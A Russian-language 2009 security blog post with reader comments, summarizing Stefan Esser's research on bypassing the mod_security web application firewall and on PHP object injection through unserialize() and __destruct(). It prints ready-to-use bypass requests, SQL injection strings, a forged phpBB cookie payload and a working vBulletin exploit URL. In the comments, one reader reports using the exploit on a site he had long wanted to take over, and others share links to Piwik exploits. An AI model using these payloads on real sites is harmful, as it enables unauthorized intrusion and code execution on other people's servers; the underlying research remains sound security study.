Новые способы обхода WAF и PHP эксплоиты

Стефан Эссер снова порадовал очередной порцией свежей информации о новых уязвимостях в своих выступлениях сразу на двух мероприятиях (RSS09 и Powerofcommunity). В частности, он поделился интересными способами обхода таких WAF как mod_security и F5 BIGIP ASM, информацией о возможных уязвимостях в продуктах, работающих на Zend Framework, а также о том, как можно использовать уязвимость, связанной с прерываниями внутренних функций в PHP, несмотря на выпущенные фиксы. Итак, обо всем по порядку.

Обход WAF стал в последнее время очень популярной темой, о чем свидетельствуют последние исследования. Как всегда, под прицелом самый известный из файрволов – mod_security. В последних обновлениях базового набора правил (CORERULES) были включены правила из другого не менее известного продукта из этой же категории – PHP-IDS. Однако сделано это было не совсем правильно. Например, эти правила пропускают запрос, если в его теле был обнаружен заголовок Content-Type со значением multipart/form-data, что обычно указывает на передачу файлов. Вместе с тем некоторые другие правила из CORERULES также подвержены этой ошибке, а следующий запрос полностью обходит всю фильтрацию очень простым способом:

POST /test.php HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (...) Gecko/1234 Firefox/3.5.3
Content-Length: ...
Content-Type: multipart/form-data; boundary=----xxxx
------xxxx--
------xxxx
Content-Disposition: form-data; name="msg"
With only CORERULES installed you can speak about wget
------xxxx
Content-Disposition: form-data; name="multi"
submit
------xxxx--

Примечательно, что Стефан уже публиковал advisory, в котором был предложен похожий способ, но с применением нулл-байта.

Следующий способ обхода mod_security актуален, когда помимо CORERULES используется дополнительное правило MULTIPART_STRICT_ERROR. В предложенном эксплоите, хотя и не упоминается, используется техника HTTP Parameter Pollution:

POST /test.php HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (...) Gecko/1234 Firefox/3.5.3
Content-Length: ...
Content-Type: multipart/form-data; boundary=----xxxx
------xxxx
Content-Disposition: form-data; name=';filename="';name=payload;"
For ModSecurity I am a file - bypassing all rules
------xxxx
Content-Disposition: form-data; name="multi"
submit
------xxxx--

Еще один способ обхода основывается на том, что mod_security перед анализом запроса проводит его корректирование с помощью нескольких функций, в числе которых функция для очистки запроса от комментариев. Этот способ, на самом деле, был найден впервые Дмитрием Евтеевым, так как сообщение о нем было опубликовано в его блоге немного раньше. Впрочем, предложенные примеры обхода совершенно разные, что доказывает независимость их исследований. Сравните:

index.php?x=/*&var=‘ UNION SELECT * FROM user /*

/?id=1/*!limit+0+union+select+concat_ws(0x3a,table_name,column_name)+from+information_schema.columns*/

Мне, например, больше нравится второй способ (от Дмитрия), так как он не вызывает ошибку при незакрытом многострочном комментарии (в версиях MySQL от 5.0.50 и 5.1.23 требуется закрывать комментарий).

Последний способ обхода WAF касается коммерческого F5 BIGIP ASM, и также связан с multipart/form-data; пример обхода смотрите в слайдах (ссылка в конце).

Следующая часть посвящена уязвимости в веб-приложениях на PHP, связанной с функцией unserialize() и методом классов __destruct(). Функция unserialize() используется для преобразования сериализованных данных в значение. Она поддерживает такие типы переменных, как строка, число, массив, и, что самое главное, объект. Сериализованные данные обычно не поступают от пользователя, но если веб-приложение допускает такую возможность, то это становится очень серьезной проблемой в безопасности. Здесь стоит вспомнить очень старую уязвимость в phpbb 2.0.12, которая позволяла получить администраторские привилегии в виду неправильной проверки данных из cookie (они передавались сериализованными и без какой-либо проверки на изменения со стороны пользователя). Уязвимый код выглядел таким образом:

<?php
if( $sessiondata['autologinid'] == $auto_login_key ) {
	/* ... */
}

Переменная $auto_login_key имела булево значение true, если передавались такие данные:

a:2:{s:11:"autologinid";b:1;s:6:"userid";s:1:"2";}

В следующей версии phpbb баг был исправлен заменой оператора сравнения == на ===. В веб-приложениях нынешнего поколения все чаще применяется объектно-ориентированный подход, что открывает возможности для новых атак. В PHP для классов можно определить метод __destruct(), который вызывается всякий раз, когда приложение завершает свою работу (перед отправкой HTTP-ответа). Обычно в деструкторе можно встретить функции, которые завершают текущее соединение с базой данных, удаляют какие-либо временные файлы или локальные переменные. Чем же может быть интересен этот метод? А дело в том, что __destruct()  какого-либо объявленного в коде класса вызывается, если десериализовать объект этого класса. Например:

<?php
class Test {
	public function __destruct() {
		echo 'test';
	}
}
unserialize('O:4:"Test":0:{}');

После запуска этого сценария будет выведена строка test.  Как пишет Стефан, он долго искал полезный __destruct(), и в конце концов его поиски увенчались успехом. Речь идет о Zend Framework, являющийся огромным фреймворком с массой классов с деструкторами. Сам ZF не подвержен данной уязвимости, однако приложения, базирующиеся на нем, если допускают попадание пользовательских данных в unserialize(), могут быть с легкостью скомпрометированы. Здесь и выполнение любого кода, и загрузка произвольных файлов, в общем, практически любые действия. ZF имеет очень запутанную структуру, и понять примеры Стефана довольно трудно. Поэтому я решил показать на примере VBulletin, вернее на нулленной вобле нелицензионной версии форума.

В  VBulletin имеется класс vB_Shutdown, который представляет интерфейс для удобного вызова функций при завершении работы форума. Этот класс имеет следующий деструктор:

<?php
function __destruct()
{
	if (!empty($this->shutdown))
	{
		foreach ($this->shutdown AS $key => $funcname)
		{
			$funcname();
			unset($this->shutdown[$key]);
		}
	}
}

Очевидно, что создав объект этого класса со свойством shutdown равным, скажем, phpinfo, мы увидим результат работы этой функции. Вместе с этим, благоприятным является тот факт, что vbulletin активно использует сериализованные данные в параметрах. Однако система не дает просто так менять данные – имеется функция, которая проверяет их достоверность:

<?php
function verify_client_string($string, $extra_entropy = '')
{
	/* ... */
	$firstpart = substr($string, 0, 40);
	$return = substr($string, 40);
	$decode = false;
	/* ... */

	if (sha1($return . sha1(COOKIE_SALT) . $extra_entropy) === $firstpart)
	{
		return ($decode ? base64_decode($return) : $return);
	}

	return false;
}

Из кода следует, что для подделки сериализованных данных необходимо знать значение константы COOKIE_SALT, которая равна лицензионному ключу. Кроме того, можно самостоятельно указать это значение путем правки конфигурационного файла ($config[‘Misc’][‘cookie_security_hash’]). В нелицензионных копиях форума по умолчанию значение COOKIE_SALT пустое, поэтому данная функция не играет никакой роли.
В коде форума unserialize() встрчается множество раз, вот один из них (forumdisplay.php):

<?php
if ($vbulletin->GPC['postvars'] != '')
{
	if (($check = verify_client_string($vbulletin->GPC['postvars'])) !== false)
	{
		$temp = unserialize($check);
		/* ... */
	}
}

Таким образом, эксплоит для выполнения phpinfo() выглядит так:

/forumdisplay.php?f=2&do=doenterpwd&newforumpwd&postvars=6889b08fded154a6c1dae5987bc28aaaad754a2aO:11:"vB_Shutdown":1:{s:8:"shutdown";a:1:{i:0;s:7:"phpinfo";}}

Возвращаясь к Zend Framework, стоит сказать, что подобной уязвимости подвержены такие приложения как Magento, Zend Server и PHP-IDS. Последний в сочетании с ZF не только не защищал (до версии 0.6.3.1), но открывал очень простой ход на сервер, так как перед проверкой данных зачем-то пытался их десериализовать.

Вот собственно и все. В слайдах имеется еще одна часть, посвященная так называемым Interruption Vulnerabilities, с которой вы можете ознакомиться по ссылке ниже.

Shocking News In PHP Exploitation

P.S. компания Стефана выпустила постеры для разработчиков, где представлено много полезной информации о безопасном программировании на PHP. Постеры совершенно бесплатны, заказать можно здесь.


no comments.

  1. M4g, 3. December 2009, 21:44

    Опаньки, материал о десериализации объектов я уже сдал в январский ][ )
    Касательно твоей заметки… кроме __destruct, юзабельными при использовании unserialize являются методы __toString и __wakeup, а также ты не написал про особенности сериализации, если в классе используются private и protected дескрипторы)
    Насчет примеры с булкой – реальной рабочий эксплойт? о.О

     
  2. Raz0r, 3. December 2009, 22:34

    __toString и __wakeup смотрел, но в этих методах, как правило, еще меньше вероятность найти что-либо полезное. Поправь, если у тебя есть пример.
    Насчет private и protected, сейчас проверил, действительно похоже нужны нулл-байты для обозначения таких свойств.
    На нуленной булке 3.8.1 без изменения конфига у меня работало.
    Кстати ты нашел нужный unserialize() в Magento? 😉

     
  3. Ams, 3. December 2009, 22:38

    Всё ковыряют несчастный PHP 🙂 .
    Интересно, как обстоят дела с другими языками и фреймворками (не думаю, что значительно лучше). Понятно, что данная платформа наиболее популярна и привлекательна для новичков, но такого рода баги уже и среднего класса программисты не заметят, если не будут заострять своё внимание на безопасности, как это делают пен-тестеры. А Zend Framework пишут ведь не дилетанты и не программисты того самого “среднего класса”.
    Хотелось просто сказать, что в целом выглядит всё достаточно трагично – уж слишком обильное количество неведомых трюков, хитростей,уязвимостей, да и частота обновления багтреков.

     
  4. Abbat, 4. December 2009, 0:06

    И все мигом ломанулись ломать несчастный Online RPG))

     
  5. M4g, 4. December 2009, 1:09

    насчет булки понял) жаль, что в сео неюзабельно, так как работает лишь на нуленой версии, будем копать((
    насчет __wakeup, глянь, например, http://www.google.com/codesearch/p?hl=en#zXiKwnPRNog/trunk/phpMyAdmin/libraries/Config.class.php&q=__wakeup&sa=N&cd=12&ct=rc

    function __wakeup()
    {

    $this->load();

    function load($source = null)
    {

    if (function_exists(‘file_get_contents’)) {
    $eval_result =
    eval(‘?>’ . trim(file_get_contents($this->getSource())));
    } else {
    $eval_result =
    eval(‘?>’ . trim(implode(“\n”, file($this->getSource()))));

    function getSource()
    {
    return $this->source;
    }

    Имхо, как-то можно изучить)
    Насчет __toString уверен, так же можно некоторые примеры найти)
    Кстати, не проверял методы __call, __get, __set, если через unserialize попробовать вызвать несуществующие методы или свойства, эти методы будут вызываться?
    Magento и прочие упомянутые в статье не смотрел – неинтересно)

     
  6. halkfild, 4. December 2009, 9:40

    Читал заметку еще с оригинала, так как подписан на рсс.
    Новые векторы в нашей отрасли это всегда интересно. Ну а по поводу воблы, то нужно искать метод для раскрытия ключа, да и в рунете достаточно много форумов, что не согласны платить и используют нулленые вот и будет наказание для “скупых” 🙂

     
  7. Raz0r, 4. December 2009, 11:25

    @Abbat
    ссылку удалил на всякий случай 🙂
    @Ams
    что касается остальных PHP-фреймворков, то они более скромны в использовании деструкторов, поэтому неуязвимы.
    @M4g
    ок, спасибо, теперь буду учитывать все magic методы.

    Кстати, не проверял методы __call, __get, __set, если через unserialize попробовать вызвать несуществующие методы или свойства, эти методы будут вызываться?

    думаю нет

    @halkfild
    кстати COOKIE_SALT вполне брутабелен, так как лицензионный ключ состоит из 8 символов upperalpha

     
  8. nobody, 4. December 2009, 11:51

    Хм, а если такой ответ:
    Fatal error: Cannot use object of type vB_Shutdown as array in /home/public_html/forums/forumdisplay.php on line 169

     
  9. Raz0r, 4. December 2009, 12:16

    пока не выяснил, но возможно suhosin patch не допускает выполнение деструктора после Fatal Error. А вообще такое ощущение, что по этой же причине работает только на винде.

     
  10. M4g, 10. December 2009, 4:41
  11. MaxZa, 11. December 2009, 17:47

    по поводу:
    Fatal error: Cannot use object of type vB_Shutdown as array in /home/public_html/forums/forumdisplay.php on line 169
    автор нечаянно, а может специально внес в эксплойт ошибочку одну.
    но блин я попотел и все заработало. Респект. Уже наблюдаю пхпинфу на одном сайте который я уже полгода хотел подмять.

     
  12. MaxZa, 12. December 2009, 16:14

    Жаль только что пхп-инфой все и ограничилось, ведь запускать можно только функции без параметров.
    Какие будут мысли?

     
  13. dober.man, 17. December 2009, 21:34

    Да, в случае с коментом, способ Дмитрия будет получше…

     
  14. Qwazar, 25. December 2009, 1:30

    Как я понял пользоваться можно только функциями без параметров?

     
  15. Raz0r, 25. December 2009, 11:03

    Если имеешь в виду vbulletin, то, к сожалению, да. Все зависит от кода в деструкторе или __wakeup() – в Zend Framework, например, есть несколько удобных __destruct(), которые позволяют выполнять произвольный код.

     
  16. chekist, 29. December 2009, 2:34

    занятная штука) , а кроме __destruct() и __wakeup() чёнить вызвать можно ?

     
  17. Raz0r, 29. December 2009, 14:56

    еще можно __toString() – выполняет перегрузку преобразования объекта в строку.

     
  18. krobol, 24. January 2010, 14:36

    в vbulletin кроме phpinfo ещё что-то полезное можно вытянуть?

     
  19. M4g, 15. February 2010, 7:57
  20. t00r, 17. February 2010, 5:39

    ребята а кто нибудь разбирал уязвимость piwik по ссылке что указал m4g я меня так и смог не получить PoC

     
  21. M4g, 18. February 2010, 21:06

    в мартовском (или апрельском, я хз что там у них за изменения) хакере я на пальцах эту багу разобрал, жди этот номер)

     
  22. t00r, 19. February 2010, 3:27

    вот заинтриговал яж теперь до марта не до тяну хотя бы подскажи в какую сторону копать ато чтото я запутался там , немогу пробраться ни к одному из деструкторов, а номер обязательно возьму какбы оно не было )

     
  23. M4g, 19. February 2010, 22:42

    все проще) сплоенты вот
    http://www.suspekt.org/downloads/Piwik_Smarty.txt – выполнение произвольного кода в Piwik через Smarty
    http://www.suspekt.org/downloads/Piwik_Config.txt – запись произвольных файлов в Piwik

     
  24. t00r, 21. February 2010, 22:29

    ооо удружил я даже не ожидал пасиб!!! шя за пивом и буду разбератся ))

     
  25. t00r, 29. June 2010, 13:38
  26. M4g, 7. July 2010, 14:01

    http://nibbles.tuxfamily.org/?p=1837
    ага, был бы удаленный вариант

     
  27. beched, 19. June 2011, 18:16

    Ну вот, прошло больше года.. На выложенной в паблик уязвимости в PMA люди заработали миллионы рублей.

     

Write a comment: